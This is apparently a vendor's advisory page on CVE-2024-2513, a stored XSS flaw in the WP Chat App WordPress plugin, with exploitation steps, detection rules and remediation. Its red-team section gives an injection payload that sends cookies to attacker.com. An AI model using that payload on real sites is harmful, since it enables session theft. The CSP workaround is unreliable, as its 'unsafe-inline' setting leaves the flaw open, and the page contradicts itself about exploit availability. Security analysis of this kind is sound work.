CVE-2024-2513
Executive Summary
CVE-2024-2513 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Chat App plugin for WordPress, affecting all versions up to and including 3.6.2. The flaw resides in the imageAlt block attribute, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious block. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood at the time of analysis. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WP Chat App plugin distributed through the official WordPress plugin repository. Users should verify plugin integrity via checksums provided by WordPress.org and monitor for updates. As a WordPress ecosystem component, the plugin is typically installed via the WordPress admin dashboard or wp-cli, and its supply chain risk is moderate due to centralized distribution.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level or above)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation requires authenticated access but can lead to persistent script injection affecting all site visitors.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the WordPress block editor (Gutenberg). The imageAlt attribute of the WP Chat App block is not properly sanitized or escaped before being stored in the database and rendered on the frontend. When a contributor or higher-privileged user creates or edits a page/post containing the WP Chat App block, they can inject malicious JavaScript into the imageAlt field. This script is then stored and executed in the browsers of any user viewing the page, including administrators.
The root cause is the lack of output escaping when rendering the imageAlt attribute in the block's frontend template. WordPress provides functions like esc_attr() and esc_html() for safe output, but the plugin fails to use them for this attribute.
Vulnerable vs. Patched Code
Vulnerable Code (example from plugin's render function):
// In wp-chat-app/includes/blocks/class-wp-chat-app-block.php
$image_alt = $attributes['imageAlt'] ?? '';
echo '<img alt="' . $image_alt . '" src="...">';
Patched Code (hypothetical fix):
$image_alt = isset($attributes['imageAlt']) ? esc_attr($attributes['imageAlt']) : '';
echo '<img alt="' . $image_alt . '" src="...">';
The patch applies esc_attr() to the imageAlt value before output, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with WP Chat App plugin <= 3.6.2
- Authenticated user with contributor role or higher
Exploitation Steps:
- Log in as a contributor.
- Create a new post or edit an existing one.
- Add the WP Chat App block.
- In the block settings, locate the
imageAltfield. - Inject the following payload:
Or a more sophisticated payload:" onerror="alert('XSS')" x="" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)" x=" - Publish or save the post.
- Any user visiting the post will execute the injected script.
Note: No public exploit code is available; this is a manual exploitation scenario.
Blue Team
Detection Steps:
- Monitor for unusual
imageAltattribute values in thewp_poststable (post_content column) containing event handlers likeonerror,onload, or script tags. - Review WordPress audit logs for suspicious block edits by contributor-level users.
- Use the detection rules below to identify exploitation attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to known malicious domains from WordPress server.
- Requests containing
imageAltparameter with script payloads.
- Host IOCs:
- Presence of event handlers (e.g.,
onerror,onload) inwp_posts.post_contentfor WP Chat App blocks. - Unexpected JavaScript execution in browser console when viewing pages with WP Chat App block.
- Presence of event handlers (e.g.,
- File IOCs:
- Modified plugin files (though unlikely as the vulnerability is in stored data).
Detection Engineering
YARA Rule
rule CVE_2024_2513_WP_Chat_App_XSS {
meta:
description = "Detects stored XSS payloads in WP Chat App imageAlt attribute"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-2513"
strings:
$payload1 = /wp:chat-app.*imageAlt.*["'].*on\w+\s*=/ nocase
$payload2 = /wp:chat-app.*imageAlt.*["'].*<script/i
$payload3 = /wp:chat-app.*imageAlt.*["'].*javascript:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-2513 WP Chat App Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in WP Chat App imageAlt attribute via post content
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: '/wp-json/wp/v2/posts'
http.body|contains: 'wp:chat-app'
http.body|contains|all:
- 'imageAlt'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of alt text with similar patterns (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2513 WP Chat App Stored XSS Payload"; flow:to_server,established; content:"wp:chat-app"; http_client_body; content:"imageAlt"; http_client_body; pcre:"/(on\w+\s*=|javascript:|<script)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the WP Chat App plugin until a patch is released.
- Restrict contributor-level access to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block requests containing
imageAltwith event handlers or script tags.
Long-term Fix:
- Apply the vendor patch when available (currently UNKNOWN).
- Upgrade to a patched version once released.
- Conduct a security review of all WordPress plugins for similar input sanitization issues.
Workaround:
- Use a content security policy (CSP) header to mitigate XSS impact:
Note: This may break legitimate plugin functionality.Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data:;
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.